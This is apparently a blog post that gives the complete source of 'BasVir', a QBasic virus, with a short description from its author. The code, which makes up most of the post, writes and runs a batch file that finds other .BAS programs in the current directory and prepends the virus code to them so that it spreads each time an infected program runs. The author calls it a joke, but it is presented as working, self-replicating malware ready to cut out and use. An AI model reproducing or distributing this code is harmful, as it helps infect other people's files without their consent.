QBasic virus "BasVir" ---------------------
Infects one BAS file in the current directory per run
Inserts its code in front of the host so it will run first
Does not infect QBasic programs that contain "DECLARE"
Really a batch virus that hides in BASIC code
If the host is renamed the virus won't work
I wrote this in response to someone's request on the net for a virus
written in BASIC. I hope they don't mind if the BASIC program makes
a batch and runs it. It stays out of programs that use procedures to
avoid causing errors, such programs cannot tolerate prepended code.
This is really a joke, but it's a QBasic virus (no? you write one.)
The following must be named BASVIR.BAS to function.
----------------------------(cut here)------------------------------------
basvirH$ = "BASVIR.BAS"
OPEN "~$.bat" FOR OUTPUT AS #2: REM BasVir
PRINT #2, "@echo off %BasVir1%"
PRINT #2, "if '%1=='BasVir goto BasVir%2"
PRINT #2, "for %%a in (*.bas) do call ~$ BasVir 2 %%a"
PRINT #2, "exit": REM BasVir
PRINT #2, ":BasVir2"
PRINT #2, "find "; CHR$(34); "DECLARE "; CHR$(34); "<%3>nul": REM BasVir
PRINT #2, "if not errorlevel 1 goto BasVirE"
PRINT #2, "echo basvirH$ = "; CHR$(34); "%3"; CHR$(34); ">~1": REM BasVir
PRINT #2, "find "; CHR$(34); "BasVir"; CHR$(34); "<"; basvirH$; ">>~1"
PRINT #2, "copy %3 ~2>nul": REM BasVir
PRINT #2, "copy /b ~1+~2 %3>nul": REM BasVir
PRINT #2, "exit": REM BasVir
PRINT #2, ":BasVirE"
CLOSE #2: REM BasVir
SHELL "~$": REM BasVir
SHELL "del ~?.*": REM BasVir
REM ******* [BasVir] the QBasic Virus *******
REM This is a dummy host program
SYSTEM
----------------------------(cut here)------------------------------------
सदस्यता लें
टिप्पणियाँ भेजें (Atom)

कोई टिप्पणी नहीं:
एक टिप्पणी भेजें